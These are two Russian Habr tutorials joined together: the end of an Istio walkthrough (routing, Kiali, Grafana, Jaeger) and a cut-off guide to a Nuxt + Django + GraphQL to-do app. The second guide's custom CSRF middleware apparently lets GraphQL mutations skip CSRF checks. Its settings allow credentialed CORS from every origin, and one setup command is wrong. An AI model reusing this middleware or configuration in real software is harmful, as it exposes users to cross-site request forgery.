Ресурс VirtualService
---------------------
VirtualService указывает Ingress Gateway'ю, как маршрутизировать запросы, которые разрешены внутри кластера.
Запросы к нашему приложению, приходящие через http-gateway, должны быть отправлены в сервисы sa-frontend, sa-web-app и sa-feedback:
*Маршруты, которые необходимо настроить с VirtualServices*
Рассмотрим запросы, которые должны направляться на SA-Frontend:
* Точное совпадение по пути `/` должно отправляться в SA-Frontend для получения index.html;
* Пути с префиксом `/static/*` должны отправляться в SA-Frontend для получения статических файлов, используемых во фронтенде, таких как CSS и JavaScript;
* Пути, попадающие под регулярное выражение `'^.*\.(ico|png|jpg)$'`, должны отправляться в SA-Frontend, т.к. это картинки, отображаемые на странице.
Реализация достигается следующей конфигурацией *([sa-virtualservice-external.yaml](https://gist.github.com/rinormaloku/580a872b330e14111958aaac20f65aa6#file-sa-virtualservice-external-yaml)):*
```
kind: VirtualService
metadata:
name: sa-external-services
spec:
hosts:
- "*"
gateways:
- http-gateway # 1
http:
- match:
- uri:
exact: /
- uri:
exact: /callback
- uri:
prefix: /static
- uri:
regex: '^.*\.(ico|png|jpg)$'
route:
- destination:
host: sa-frontend # 2
port:
number: 80
```
Важные моменты:
1. Этот VirtualService относится к запросам, приходящим через **http-gateway**;
2. В `destination` определяется сервис, куда отправляются запросы.
**Примечание**: Конфигурация выше хранится в файле `sa-virtualservice-external.yaml`, который также содержит настройки для маршрутизации в SA-WebApp и SA-Feedback, но был сокращён здесь в статье для лаконичности.
Применим VirtualService вызовом:
```
$ kubectl apply -f resource-manifests/istio/sa-virtualservice-external.yaml
virtualservice.networking.istio.io/sa-external-services created
```
**Примечание**: Когда мы применяем ресурсы Istio, Kubernetes API Server создаёт событие, которое получает Istio Control Plane, и уже после этого новая конфигурация применяется к прокси-серверам Envoy каждого pod'а. А контроллер Ingress Gateway представляется очередным Envoy, сконфигурированным в Control Plane. Всё это на схеме выглядит так:
*Конфигурация Istio-IngressGateway для маршрутизации запросов*
Приложение Sentiment Analysis стало доступным по `http://{EXTERNAL-IP}/`. Не переживайте, если вы получаете статус Not Found: *иногда требуется чуть больше времени для того, чтобы конфигурация вступила в силу и кэши Envoy обновились*.
Перед тем, как продолжить, поработайте немного с приложением, чтобы сгенерировать трафик *(его наличие необходимо для наглядности в последующих действиях — прим. перев.)*.
Kiali : наблюдаемость
---------------------
Чтобы попасть в административный интерфейс Kiali, выполните следующую команду:
```
$ kubectl port-forward \
$(kubectl get pod -n istio-system -l app=kiali \
-o jsonpath='{.items[0].metadata.name}') \
-n istio-system 20001
```
… и откройте <http://localhost:20001/>, залогинившись под admin/admin. Здесь вы найдете множество полезных возможностей, например, для проверки конфигурации компонентов Istio, визуализации сервисов по информации, собранной при перехвате сетевых запросов, получения ответов на вопросы «Кто к кому обращается?», «У какой версии сервиса возникают сбои?» и т.п. В общем, изучите возможности Kiali перед тем, как двигаться дальше — к визуализации метрик с Grafana.
Grafana: визуализация метрик
----------------------------
Собранные в Istio метрики попадают в Prometheus и визуализируются с Grafana. Чтобы попасть в административный интерфейс Grafana, выполните команду ниже, после чего откройте <http://localhost:3000/>:
```
$ kubectl -n istio-system port-forward \
$(kubectl -n istio-system get pod -l app=grafana \
-o jsonpath={.items[0].metadata.name}) 3000
```
Кликнув на меню **Home** слева сверху и выбрав **Istio Service Dashboard** в левом верхнем углу, начните с сервиса **sa-web-app**, чтобы посмотреть на собранные метрики:
Здесь нас ждёт пустое и совершенно скучное представление — руководство никогда такое не одобрит. Давайте же создадим небольшую нагрузку следующей командой:
```
$ while true; do \
curl -i http://$EXTERNAL_IP/sentiment \
-H "Content-type: application/json" \
-d '{"sentence": "I love yogobella"}'; \
sleep .8; done
```
Вот теперь у нас гораздо более симпатичные графики, а в дополнение к ним — замечательные инструменты Prometheus для мониторинга и Grafana для визуализации метрик, что позволят нам узнать о производительности, состоянии здоровья, улучшениях/деградации в работе сервисов на протяжении времени.
Наконец, посмотрим на трассировку запросов в сервисах.
Jaeger : трассировка
--------------------
Трассировка нам потребуется, потому что чем больше у нас сервисов, тем сложнее добраться до причины сбоя. Посмотрим на простой случай из картинки ниже:
*Типовой пример случайного неудачного запроса*
Запрос приходит, падает — *в чём же причина? Первый сервис? Или второй?* Исключения есть в обоих — давайте посмотрим на логи каждого. Как часто вы ловили себя за таким занятием? Наша работа больше похожа на детективов программного обеспечения, а не разработчиков…
Это широко распространённая проблема в микросервисах и решается она распределёнными системами трассировки, в которых сервисы передают друг другу уникальный заголовок, после чего эта информация перенаправляется в систему трассировки, где она сопоставляется с данными запроса. Вот иллюстрация:
*Для идентификации запроса используется TraceId*
В Istio используется Jaeger Tracer, который реализует независимый от вендоров фреймворк OpenTracing API. Получить доступ к пользовательского интерфейсу Jaeger можно следующей командой:
```
$ kubectl port-forward -n istio-system \
$(kubectl get pod -n istio-system -l app=jaeger \
-o jsonpath='{.items[0].metadata.name}') 16686
```
Теперь зайдите на <http://localhost:16686/> и выберите сервис **sa-web-app**. Если сервис не показан в выпадающем меню — проявите/сгенерируйте активность на странице и обновите интерфейс. После этого нажмите на кнопку **Find Traces**, которая покажет самые последние трейсы — выберите любой — покажется детализированная информация по всем трейсам:
Этот трейс показывает:
1. Запрос приходит в **istio-ingressgateway** (это первое взаимодействие с одним из сервисов, и для запроса генерируется Trace ID), после чего шлюз направляет запрос в сервис **sa-web-app**.
2. В сервисе **sa-web-app** запрос подхватывается Envoy sidecar'ом, создаётся «ребёнок» в span'е (поэтому мы видим его в трейсах) и перенаправляется в контейнер **sa-web-app**. *([Span](https://www.jaegertracing.io/docs/1.9/architecture/#span) — логическая единица работы в Jaeger, имеющая название, время начало операции и её продолжительность. Span'ы могут быть вложенными и упорядоченными. Ориентированный ациклический граф из span'ов образует trace. — прим. перев.)*
3. Здесь запрос обрабатывается методом **sentimentAnalysis**. Эти трейсы уже сгенерированы приложением, т.е. для них потребовались изменения в коде.
4. С этого момента инициируется POST-запрос в **sa-logic**. Trace ID должен быть проброшен из **sa-web-app**.
5. …
**Примечание**: На 4 шаге приложение должно увидеть заголовки, сгенерированные Istio, и передать их в последующие запросы, как показано на изображении ниже:
*(A) За проброс заголовков отвечает Istio; **(B) За заголовки отвечают сервисы***
Istio делает основную работу, т.к. генерирует заголовки для входящих запросов, создаёт новые span'ы в каждом sidecare'е и пробрасывает их. Однако без работы с заголовками внутри сервисов полный путь трассировки запроса будет утерян.
Необходимо учитывать (пробрасывать) следующие заголовки:
```
x-request-id
x-b3-traceid
x-b3-spanid
x-b3-parentspanid
x-b3-sampled
x-b3-flags
x-ot-span-context
```
Это несложная задача, однако для упрощения её реализации уже существует [множество библиотек](https://github.com/opentracing-contrib) — например, в сервисе sa-web-app клиент RestTemplate пробрасывает эти заголовки, если просто добавить библиотеки Jaeger и OpenTracing в [его зависимости](https://github.com/rinormaloku/istio-mastery/blob/master/sa-webapp/pom.xml#L36-L47).
*Заметьте, что приложение Sentiment Analysis демонстрирует реализации на Flask, Spring и ASP.NET Core.*
Теперь, когда стало ясно, что мы получаем из коробки (или почти «из коробки»), рассмотрим вопросы тонко настраиваемой маршрутизации, управления сетевым трафиком, безопасности и т.п.!
***Прим. перев.**: об этом читайте в следующей части материалов по Istio от Rinor Maloku, переводы которых последуют в нашем блоге в ближайшее время. **UPDATE** (14 марта): [Вторая часть](https://habr.com/ru/company/flant/blog/440378/) уже опубликована.*
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «Назад к микросервисам вместе с Istio»: [часть 2 (маршрутизация, управление трафиком)](https://habr.com/ru/company/flant/blog/440378/), [часть 3 (аутентификация и авторизация)](https://habr.com/ru/company/flant/blog/443668/);
* «[Conduit — легковесный service mesh для Kubernetes](https://habr.com/ru/company/flant/blog/349496/)»;
* «[Что такое service mesh и почему он мне нужен [для облачного приложения с микросервисами]?](https://habr.com/ru/company/flant/blog/327536/)»;
* «[Иллюстрированное руководство по устройству сети в Kubernetes. Части 1 и 2](https://habr.com/ru/company/flant/blog/346304/)»;
* «[Как этот sidecar-контейнер оказался здесь [в Kubernetes]?](https://habr.com/ru/company/flant/blog/431252/)». | https://habr.com/ru/post/438426/ | null | ru | null |
# Nuxt + Django + GraphQL на примере
Предисловие
-----------
**Nuxt** — "фреймворк над фреймворком Vue" или популярная конфигурация Vue-based приложений с использованием лучших практик разработки на Vue. Среди них: организация каталогов приложения; включение и преконфигурация самых популярных инструментов в виде Nuxt модулей; включение [Vuex](https://vuex.vuejs.org/ru/) по-умолчанию в любую конфигурацию; готовый и преднастроенный [SSR](https://ssr.vuejs.org/ru/#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%BD%D1%8B%D0%B9-%D1%80%D0%B5%D0%BD%D0%B4%D0%B5%D1%80%D0%B8%D0%BD%D0%B3-ssr) с [hot-reloading'ом](https://vue-loader-v14.vuejs.org/ru/features/hot-reload.html)
**Django** — самый популярный веб-фреймворк на почти самом популярном языке программирования на сегодняшний день — Python. Сами разработчики позиционируют проект как "Веб-фреймворк для перфекционистов с дедлайнами". Представляет из себя решение "всё в одном" и позволяет в кратчайшие сроки построить MVP вашего веб-приложения.
**GraphQL** — язык запросов изначально созданный компанией Facebook. В статье будет говориться о конкретных реализациях протокола этого языка, а именно библиотек **Apollo** для фронтенда и **graphene** для бэкенда.
О чем и для кого эта статья
---------------------------
В этой статье вы сможете узнать как можно собрать dev-окружение современного [SPA](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5) приложения с server side рендерингом, на основе фреймворков Django и Nuxt, а также их сообщения посредством GraphQL API.
На примере простейшего приложения со списком задач, я попытался рассказать об основных проблемах с которыми я столкнулся в процессе построения приложения на выбранном стеке.
Описание старался делать как можно более понятным, в том числе и новичкам в программировании (коим, буду честен, я считаю и себя), и приводить как можно больше ссылок.
Исходя из того, что эту статью вы читаете на русском языке, я делаю смелое предположение, что и остальные материалы по программированию вы также предпочитаете читать на русском, поэтому все ссылки я старался подбирать в соответствии с этим предположением насколько это возможно.
Искрене надеюсь, что статья поможет сэкономить хоть немного времени тем энтузиастам, кто решит создать свое приложения на базе приведенных выше технологий, а также дать быстрый старт всем интересующимся без необходимости проводить часы и дни в поисках причин возникающих проблем, а затем и их решений на просторах интернета.
Построение приложения будет вестись поэтапно, чтобы на каждом этапе можно было удостовериться что всё работает правильно.
Перед началом
-------------
Убедитесь, что у вас уже установлен [node.js](https://nodejs.org/ru/) и интерпретатор [python](https://www.python.org/downloads/). В примере используются версии: **13.9** и **3.7** соответственно.
В качестве менеджера виртуального окружения python в статье будет использоваться [pipenv](https://webdevblog.ru/pipenv-rukovodstvo-po-novomu-instrumentu-python/).
Консольные команды в статье запускаются в оболочке bash. Если вы пользователь Windows, то вместо команд `cd`, `mv`, `mkdir` используйте аналоги, и благодаря кросс-платформенной природе python и node, всё остальное должно работать вне зависимости от ОС.
В качестве базы данных для простоты будет использоваться Sqlite, которая не требует дополнительной конфигурации.
Версии всех пакетов вы всегда можете посмотреть в [репозитории](https://github.com/IngvarListard/nuxt-django-graphql-example) статьи. Ниже я приведу те, что мы будем устанавливать вручную.
**Python библиотеки**
| Библиотека | Версия |
| --- | --- |
| [django](https://docs.djangoproject.com/en/2.2/releases/2.2/) | 2.2 |
| [graphene-django](https://docs.graphene-python.org/projects/django/en/latest/) | 2.8.2 |
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) | 3.2 |
**Javascript библиотеки**
| Библиотека | Версия |
| --- | --- |
| [Nuxt](https://nuxtjs.org) | 2.11 |
| [nuxtjs/apollo](https://github.com/nuxt-community/apollo-module) | 4.0.1 |
| [nuxtjs/vuetify](https://v15.vuetifyjs.com/en/) | 0.5.5 |
| [cookie-universal-nuxt](https://github.com/microcipcip/cookie-universal/tree/master/packages/cookie-universal-nuxt) | 2.1.2 |
| [graphql-tag](https://github.com/apollographql/graphql-tag) | 2.10 |
Приступим
---------
Django
------
### Создание проекта и окружения
Для начала необходимо установить менеджер виртуального окружения. В примере я буду использовать pipenv. Для установки:
```
pip install pipenv
```
В некоторых операционных системах для этого действия могут потребоваться права суперпользователя. Также pipenv можно установить из репозитория вашей операционной системы.
Создадим директорию с проектом и инициализируем в ней окружение `pipenv`. В моем случае проект будет располагаться по пути `~/Documents/projects/todo-list`. Создадим эту директорию и перейдем в неё.
```
mkdir ~/Documents/projects/todo-list
cd ~/Documents/projects/todo-list
```
Создаем виртуальное окружение и одновременно устанавливаем `django` и `graphene_django`:
```
pipenv install django==2.2.10 graphene_django
```
Библиотека `graphene_django` позволяет описывать схему GraphQL API на основе моделей Django ORM. Очень удобно, но как по мне, со связыванием таблиц БД и фронтом напрямую нужно быть очень осторожным.
Для начала активируем виртуальное окружение pipenv. Далее в статье будет предполагаться, что все комманды будут выполняться внутри окружения.
```
pipenv shell # активируем виртуальное окружение pipenv
```
Создаем проект Django.
```
django-admin createapp backend
```
### Настройка
#### **Перенос manage.py**
Так как фронтенд и бэкенд нашего todo-листа будет находиться в одной директории, было бы неплохо иметь все управляющие файлы в корневой директории проекта. В Django управляющим файлом является `manage.py`, давайте вынесем его из директории `backend` на уровень повыше.
Для этого, из корневой директории проекта:
```
mv backend/manage.py .
```
После перемещения нужно исправить путь к файлу настроек внутри файла `manage.py`.
```
# manage.py
import os
import sys
if __name__ == "__main__":
# укажите путь к файлу настроек вашего проекта
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "backend.backend.settings")
...
```
Также в файле `backend/backend/settings.py` приведем следующие переменные к виду:
```
ROOT_URLCONF = 'backend.backend.urls'
WSGI_APPLICATION = 'backend.backend.wsgi.application'
```
#### **Добавление graphene\_django**
В файле `backend/backend/settings.py` в переменную `INSTALLED_APPS` добавляем установленный ранее `graphene_django`:
```
# backend/backend/settings.py
INSTALLED_APPS = [
...,
'graphene_django',
]
```
#### **Проверяем работоспособность**
```
python manage.py runserver
```
По-умолчанию сервер запускается на порту `8000`. Переходим на <http://localhost:8000/>, он должен нас встречать следующей картиной:
**Django hello**
#### **Настройка graphene**
После изменений ниже `http://localhost:8000/` уже не будет встречать нас ракетой. В файле `backend/backend/urls.py`
```
# backend/backend/urls.py
from django.contrib import admin
from django.urls import path
from graphene_django.views import GraphQLView
from django.conf import settings
urlpatterns = [
path('admin/', admin.site.urls),
# graphiql - мини IDE для разработки graphql запросов
path('graphql/', GraphQLView.as_view(graphiql=settings.DEBUG))
]
```
Создадим пустую [схему](https://xsltdev.ru/react/graphql/schemas-and-types/), например, в файле `backend/backend/api.py`
```
# backend/todo_list/api.py
import graphene
schema = graphene.Schema()
```
В файл настроек необходимо добавить переменную `GRAPHENE`, в которой мы укажем путь до нашей схемы:
```
# /backend/backend/settings.py
GRAPHENE = {
'SCHEMA': 'backend.backend.api.schema',
}
```
Проверяем работоспособность. Запускаем сервер уже известной командой `runserver`:
```
python manage.py runserver
```
и переходим на <http://localhost:8000/graphql/>. Там нас должна встретить та самая мини "IDE" [GrapiQL](https://github.com/graphql/graphiql):
**GraphiQL**
Ничего страшного в том, что нас встречает ошибка. Она появляется из-за того, что наша схема пуста. Мы исправим это при реализации дальше.
### Приложение todo\_list
#### **Создание приложения**
Создадим приложение todo\_list и модели к нему. Не забывайте, что все команды должны выполняться внутри окружения pipenv:
```
cd backend
django-admin startapp todo_list
```
Скрипт `django-admin` не знает где находится корень нашего приложения, поэтому нам нужно немного подправить файл `backend/todo_list/apps.py`, чтобы он выглядит следующим образом:
```
from django.apps import AppConfig
class TodoListConfig(AppConfig):
name = 'backend.todo_list'
```
Добавим наше новое приложение в `INSTALLED_APPS`, что находится в файле `settings.py`:
```
# backend/backend/settings.py
INSTALLED_APPS = [
...,
'backend.todo_list',
...
]
```
Добавим модели `Todo` и `Category` в файл `backend/todo_list/models.py`:
**models.py**
```
# backend/todo_list/models.py
from datetime import timedelta
from django.db import models
from django.utils import timezone
class Category(models.Model):
name = models.CharField(max_length=100, unique=True)
class Meta:
verbose_name = 'Категория'
verbose_name_plural = 'Категории'
def __str__(self):
return self.name
def get_due_date():
""" На выполнение задачи по-умолчанию даётся один день """
return timezone.now() + timedelta(days=1)
class Todo(models.Model):
title = models.CharField(max_length=250)
text = models.TextField(blank=True)
created_date = models.DateField(auto_now_add=True)
due_date = models.DateField(default=get_due_date)
category = models.ForeignKey(Category, related_name='todo_list', on_delete=models.PROTECT)
done = models.BooleanField(default=False)
class Meta:
verbose_name = 'Задача'
verbose_name_plural = 'Задачи'
def __str__(self):
return self.title
```
Для того, чтобы наши модели превратились в таблицы в БД, нужно выполнить следующее:
Создать файлы [миграций](https://djbook.ru/rel1.7/topics/migrations.html), в которых будет описываться наша текущая схема:
```
python manage.py makemigrations
```
С примерно таким выводом:
Применить эти миграции командой `migrate`. Т.к. это первый запуск скрипта `migrate`, у нас также будут применяться миграции приложений Django:
```
python manage.py migrate
```
**Вывод консоли**
#### **Создание GraphQL API**
Опишем [типы](https://xsltdev.ru/react/graphql/schemas-and-types/), [создадим запросы и мутации](https://xsltdev.ru/react/graphql/queries-and-mutations/) для наших новых моделей. Для этого в директории приложения `todo_list` создадим файл `schema.py`, со следующим содержимым:
**schema.py**
```
# backend/todo_list/schema.py
import graphene
from graphene_django import DjangoObjectType
from backend.todo_list.models import Todo, Category
# С помощью graphene_django привязываем типы к моделям,
# что позволит ходить по всей вложенности базы данных как угодно,
# прямо из интерфейса GraphiQL.
# Однако будьте осторожны, связывание таблиц практически напрямую
# с фронтом может быть чревато при росте проекта. Думаю такой способ
# подходит преимущественно для небольших CRUD приложений.
class CategoryNode(DjangoObjectType):
class Meta:
model = Category
class TodoNode(DjangoObjectType):
class Meta:
model = Todo
class Query(graphene.ObjectType):
""" Описываем запросы и возвращаемые типы данных """
todo_list = graphene.List(TodoNode)
categories = graphene.List(CategoryNode)
def resolve_todo_list(self, info):
return Todo.objects.all().order_by('-id')
def resolve_categories(self, info):
return Category.objects.all()
class Mutation(graphene.ObjectType):
""" В мутации описываем типы запросов (простите за каламбур),
типы возвращаемых данных и типы принимаемых переменных
"""
add_todo = graphene.Field(TodoNode,
title=graphene.String(required=True),
text=graphene.String(),
due_date=graphene.Date(required=True),
category=graphene.String(required=True))
remove_todo = graphene.Field(graphene.Boolean, todo_id=graphene.ID())
toggle_todo = graphene.Field(TodoNode, todo_id=graphene.ID())
def resolve_add_todo(self, info, **kwargs):
category, _ = Category.objects.get_or_create(name=kwargs.pop('category'))
return Todo.objects.create(category=category, **kwargs)
def resolve_remove_todo(self, info, todo_id):
try:
Todo.objects.get(id=todo_id).delete()
except Todo.DoesNotExist:
return False
return True
def resolve_toggle_todo(self, info, todo_id):
todo = Todo.objects.get(id=todo_id)
todo.done = not todo.done
todo.save()
return todo
```
После создания классов мутации и запроса, их нужно добавить в нашу схему. Как вы, возможно, помните схему мы описывали в файле `api.py`:
```
# backend/backend/api.py
import graphene
from backend.todo_list.schema import Query, Mutation
schema = graphene.Schema(query=Query, mutation=Mutation)
```
Если хотите лучше понять происходящее, можете прочитать [эту](https://habr.com/ru/post/461939/) статью на Хабре, или обратиться к документации [Graphene](https://docs.graphene-python.org/en/latest/types/) (англ.).
#### **Проверка API**
ID записей в примерах ниже могут различаться с ID ваших записей.
Запускаем сервер привычной командой `runserver`:
```
python manage.py runserver
```
Идем по пути <http://localhost:8000/graphql/>. Там нас должен встречать уже знакомый интерфейс `graphiql`. И как вы, возможно, заметили ошибка пропала.
Давайте проверим получившиеся запросы и мутации.
**addTodo****Запрос**
```
mutation(
$title: String!
$text: String
$dueDate: Date!
$category: String!
) {
addTodo(
title: $title
text: $text
dueDate: $dueDate
category: $category
) {
todo {
id
title
text
done
createdDate
dueDate
category {
id
name
}
}
}
}
```
**Переменные**
```
{
"title": "First Todo",
"text": "Just do it!",
"dueDate": "2020-10-17",
"category": "Работа"
}
```
**Результат**
В результате этой мутации у нас создалось две записи:
* `Todo` т.к. собственно мутация для этого и написана;
* `Category`, т.к. в базе не оказалось категорий с названием "Работа", а метод `get_or_create` говорит за себя сам.
**todoList и categories****Запрос**
```
{
todoList {
id
title
text
createdDate
dueDate
category {
id
name
}
}
categories {
id
name
}
}
```
**Результат**:
**toggleTodo****Мутация**
```
mutation ($todoId: ID) {
toggleTodo(todoId: $todoId) {
id
title
text
createdDate
dueDate
category {
id
name
}
done
}
}
```
**Переменные**
```
{
"todoId": "1"
}
```
**Результат**:
**removeTodo****Мутация**
```
mutation ($todoId: ID) {
removeTodo(todoId: $todoId)
}
```
**Переменные** можно оставить из предыдущей мутации.
**Результат**
Чтобы ближе познакомиться с синтаксисом и терминологией GraphQL, можете ознакомиться с [этой](https://habr.com/ru/post/335050/) статьей на Хабре.
Nuxt
----
### Создание Nuxt приложения
Откройте консоль внутри корневой директории проекта и запустите скрипт установки `Nuxt`:
```
npx create-nuxt-app frontend
```
Запустится очень простой и понятный скрипт установки, который предложит указать описание проекта и предоставит на выбор для установки несколько библиотек. Можете выбрать, что захотите, но из рекомендуемых пунктов я бы посоветовал выбрать "Custom UI Framework: vuetify", т.к. в примере используется именно он, и "Rendering mode: Universal", т.к. в статье рассматривается пример именно с SSR.
Пример моей конфигурации:
На установку зависимостей может потребоваться некоторое время. После завершения работы скрипта вам предложат проверить его работоспособность. Давайте сделаем это:
```
cd frontend
npm run dev
```
и перейдем на <http://localhost:3000>. Там нас должна ждать страница приветствия Nuxt + Vuetify:
**Nuxt + Vuetify**
### Перенос конфигурационных файлов
Как я говорил ранее, фронтенд и бэкенд будут находиться у нас в одной директории, поэтому было бы неплохо перенести конфигурационные файлы и зависимости на уровень повыше. Для этого из корневой папки проекта выполните:
```
cd frontend
mv node_modules ..
mv nuxt.config.js ..
mv .gitignore ..
mv package-lock.json ..
mv package.json ..
mv .prettierrc ..
mv .eslintrc.js ..
mv .editorconfig ..
rm -rf .git
```
Затем в файле `nuxt.config.js` указываем корневую директорию приложения:
```
// nuxt.config.js
export default {
...,
rootDir: 'frontend',
...
}
```
После этого желательно еще раз убедиться в работоспособности проекта, выполнив запуск dev-сервера уже из корневой директории:
```
npm run dev
```
### Верстка функционального макета
Любой компонент с префиксом `v-` это компонент UI-toolkit'a Vuetify. У этой библиотеки отличная и подробная [документация](https://v15.vuetifyjs.com/ru/getting-started/quick-start).
Если вы хотите подробнее узнать, что делает тот или иной компонент, смело вбивайте в гугл `v-component-name`. Только не забывайте, что в примере используется версия vuetify 1.5.
Приводим файл `frontend/layouts/default.vue` к виду:
```
```
Создадим компонент нового `Todo` по пути `frontend/components/NewTodoForm.vue`:
**NewTodoForm.vue**
```
Отмена
Выбрать
Добавить
export default {
name: 'NewTodoForm',
data() {
return {
newTodo: null,
categories: ['Дом', 'Работа', 'Семья', 'Учеба'],
valid: false,
menu: false,
nonEmptyField: text =>
text ? !!text.length : 'Поле не должно быть пустым'
}
},
created() {
this.clear()
},
methods: {
add() {
this.$emit('add', this.newTodo)
this.clear()
this.$refs.form.reset()
},
clear() {
this.newTodo = {
title: '',
text: '',
dueDate: '',
category: ''
}
}
}
}
```
Далее компонент существующего `Todo`, там же:
**TodoItem.vue**
```
**{{ todo.title }}**
close
{{ todo.text }}
Выполнить до event {{ todo.dueDate }} | Создано
calendar\_today {{ todo.createdDate }}
categoryКатегория: {{ todo.category }}
export default {
name: 'TodoItem',
props: {
todo: {
type: Object,
default: () => ({})
}
}
}
```
И наконец вставим новые компоненты в `index.vue`, и добавим в него немного рыбы:
**index.vue**
```
import NewTodoForm from '../components/NewTodoForm'
import TodoItem from '../components/TodoItem'
export default {
components: { TodoItem, NewTodoForm },
data() {
return {
todoList: [
{
id: 1,
title: 'TODO 1',
text:
'Lorem ipsum dolor sit amet, consectetur adipiscing elit',
dueDate: '2020-10-16',
createdDate: '2020-03-09',
done: false,
category: 'Работа'
},
{
id: 2,
title: 'TODO 2',
text:
'Lorem ipsum dolor sit amet, consectetur adipiscing elit',
dueDate: '2020-10-16',
createdDate: '2020-03-09',
done: false,
category: 'Работа'
},
{
id: 3,
title: 'TODO 3',
text:
'Lorem ipsum dolor sit amet, consectetur adipiscing elit',
dueDate: '2020-10-16',
createdDate: '2020-03-09',
done: false,
category: 'Работа'
},
{
id: 4,
title: 'TODO 4',
text:
'Lorem ipsum dolor sit amet, consectetur adipiscing elit',
dueDate: '2020-10-16',
createdDate: '2020-03-09',
done: false,
category: 'Работа'
},
{
id: 5,
title: 'TODO 5',
text:
'Lorem ipsum dolor sit amet, consectetur adipiscing elit',
dueDate: '2020-10-16',
createdDate: '2020-03-09',
done: false,
category: 'Работа'
},
{
id: 6,
title: 'TODO 6',
text:
'Lorem ipsum dolor sit amet, consectetur adipiscing elit',
dueDate: '2020-10-16',
createdDate: '2020-03-09',
done: false,
category: 'Работа'
}
]
}
},
methods: {
addTodo(newTodo) {
const id = this.todoList.length
? Math.max.apply(
null,
this.todoList.map(item => item.id)
) + 1
: 1
this.todoList.unshift({
id,
createdDate: new Date().toISOString().substr(0, 10),
done: false,
...newTodo
})
},
deleteTodo(todoId) {
this.todoList = this.todoList.filter(item => item.id !== todoId)
}
}
}
```
После проделанной работы рекомендую проверить работоспособность получившегося макета. Запустите `dev` сервер и перейдите на <http://localhost:3000/>, там вы должны увидеть следующую картину:
**Функциональный макет**
Объединение фронтенда и бэкенда
-------------------------------
### Настройка CSRF-защиты Django + Apollo
В Django по-умолчанию используется [CSRF](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0) защита.
Эта защита реализуется при помощи [промежуточного слоя](https://djbook.ru/rel1.7/topics/http/middleware.html) (middleware) — `CsrfViewMiddleware`. Посмотреть на него вы можете в файле `settings.py` в переменной `MIDDLEWARE`.
Принцип его работы очень прост: у любого POST-запроса к Django в заголовках должен иметься CSRF-токен. Если этот токен отсутствует, то сервер просто отклоняет этот запрос.
CSRF-токен в классическом django приложении приходит вместе с любым GET-запросом, после чего при необходимости добавляется в формы при рендеринге шаблона.
В нашем случае проблема в том, что вне зависимости от того, выполняется в Apollo мутация или запрос, метод их по-умолчанию всегда будет POST. Apollo позволяет изменить это поведение таким образом, чтобы для `Query` метод запроса был GET, а для `Mutation` — POST, но насколько я знаю, graphene на данный момент не поддерживает подобный режим работы.
Я поступил следующим образом: немного расширил логику стандартного `CsrfViewMiddleware` таким образом, чтобы он проверял тип GraphQL запроса, и уже на основе этого принимал или сбрасывал соединение.
Для этого добавим кастомную проверку CSRF, например, в уже знакомый нам файл `api.py`
**api.py**
```
# backend/backend/api.py
import json
import graphene
from django.middleware.csrf import CsrfViewMiddleware
from backend.todo_list.schema import Query, Mutation
schema = graphene.Schema(query=Query, mutation=Mutation)
class CustomCsrfMiddleware(CsrfViewMiddleware):
def process_view(self, request, callback, callback_args, callback_kwargs):
if getattr(request, 'csrf_processing_done', False):
return None
if getattr(callback, 'csrf_exempt', False):
return None
try:
body = request.body.decode('utf-8')
body = json.loads(body)
# в любой непонятной ситуации передаём запрос оригинальному CsrfViewMiddleware
except (TypeError, ValueError, UnicodeDecodeError):
return super(CustomCsrfMiddleware, self).process_view(request, callback, callback_args, callback_kwargs)
# проверка на list, т.к. клиент может отправлять "батченные" запросы
# https://blog.apollographql.com/batching-client-graphql-queries-a685f5bcd41b
if isinstance(body, list):
for query in body:
# если внутри есть хотя бы одна мутация, то отправляем запрос
# к оригинальному CsrfViewMiddleware
if 'mutation' in query:
break
else:
return self._accept(request)
else:
# принимаем любые query без проверки на csrf
if 'query' in body and 'mutation' not in body:
return self._accept(request)
return super(CustomCsrfMiddleware, self).process_view(request, callback, callback_args, callback_kwargs)
```
Далее, в файле `settings.py` нужно заменить "оригинальный" `CsrfViewMiddleware`, на кастомный:
```
# settings.py
MIDDLEWARE = [
...,
'backend.backend.api.CustomCsrfMiddleware',
# 'django.middleware.csrf.CsrfViewMiddleware',
...,
]
```
Если уважаемый читатель знает более надежные и правильные способы CSRF-защиты в связке Django + Nuxt + Apollo, то призываю поделиться своим знанием в комментариях.
### Django CORS Headers
Т.к. dev сервера бэкенда и фронтента у нас стоят на разных портах, то Django нужно оповестить, с каких хостов могут совершаться запросы, и какие заголовки ему разрешено обрабатывать. А поможет нам в этом библиотека `django-cors-headers`:
```
pipenv install "django-cors-headers>=3.2"
```
В `settings.py` добавим:
```
# backend/backend/settings.py
from corsheaders.defaults import default_headers
INSTALLED_APPS = [
...,
'graphene_django',
'backend.todo_list',
'corsheaders', # вот эту строку
]
CORS_ALLOW_CREDENTIALS = True
CORS_ALLOW_HEADERS = default_headers + ('cache-control', 'cookies')
CORS_ORIGIN_ALLOW_ALL = True # не рекомендуется для production
# А также парочку middleware
MIDDLEWARE = [
...,
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
...,
]
```
### Установка и настройка Apollo
Для Nuxt существует собственный модуль `apollo`, который в свою очередь основан на библиотеке `vue-apollo` (которая в свою очередь основана на Apollo). Для его установки введите:
```
npm install --save @nuxtjs/apollo graphql-tag cookie-universal-nuxt
```
Также при конфигурации `Apollo` нам понадобится небольшая библиотека `cookie-universal-nuxt` для манипуляции куками при рендере на стороне сервера.
Добавим эти модули в `nuxt.config.js`. В зависимости от вашей изначальной конфигурации там уже может быть несоклько модулей. Как минимум там должен быть `vuetify`:
```
// nuxt.config.js
export default {
...,
modules: [
